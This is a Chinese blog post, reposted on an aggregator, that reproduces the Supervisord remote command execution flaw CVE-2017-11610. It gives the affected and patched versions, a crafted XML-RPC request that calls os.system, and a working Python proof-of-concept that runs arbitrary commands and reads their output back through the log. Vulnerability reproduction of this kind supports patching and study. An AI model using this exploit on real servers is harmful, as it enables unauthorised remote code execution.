码迷,mamicode.com
首页 > 其他好文 > 详细

Supervisord 远程命令执行漏洞(CVE-2017-11610)

时间:2017-08-11 16:03:26      阅读:139      评论:0      收藏:0      [点我收藏+]

标签:supervisord   cve-2017-11610   远程命令执行   

    Supervisor是使用Python 开发的进程管理程序,一般使用命令行进行管理,当然也能通过web接口图形化管理服务。在配置了web接口后,服务器会启动一个XMLRPC服务器,端口为9001,默认配置接口是不需要密码访问的,管理员也可设置为密码访问。利用本漏洞,在获取该接口的访问权限后,远程攻击者可发送一段精心构造的请求,导致可在服务器执行任意代码。

    影响版本:Supervisor 3.1.2 <= Version <= 3.3.2

    已修复版本:Supervisor 3.3.3、Supervisor 3.2.4、Superivsor 3.1.4、Supervisor 3.0.1

    我们使用burpsuit进行抓包,然后发送到repter,修改数据包如下:

POST /RPC2 HTTP/1.1
Host: 127.0.0.1:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

技术分享

执行命令成功

    通过这个poc虽然能验证漏洞,但是执行的命令却没有回显,但是命令是执行成功了的!

技术分享

验证码命令执行成功

    另外我们可以将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。

    利用代码poc.py如下:

import xmlrpc.client
import sys


target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old = getattr(proxy, ‘supervisor.readLog‘)(0,0)

    logfile = getattr(proxy, ‘supervisor.supervisord.options.logfile.strip‘)()
    getattr(proxy, ‘supervisor.supervisord.options.warnings.linecache.os.system‘)(‘{} | tee -a {}‘.format(command, logfile))
    result = getattr(proxy, ‘supervisor.readLog‘)(0,0)

    print(result[len(old):])

使用方法:

python3 poc.py "http://your-ip:9001/RPC2" "command"

技术分享

    执行任意命令并回显

参考链接:https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610

本文出自 “eth10” 博客,请务必保留此出处http://eth10.blog.51cto.com/13143704/1955450

Supervisord 远程命令执行漏洞(CVE-2017-11610)

标签:supervisord   cve-2017-11610   远程命令执行   

原文地址:http://eth10.blog.51cto.com/13143704/1955450

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!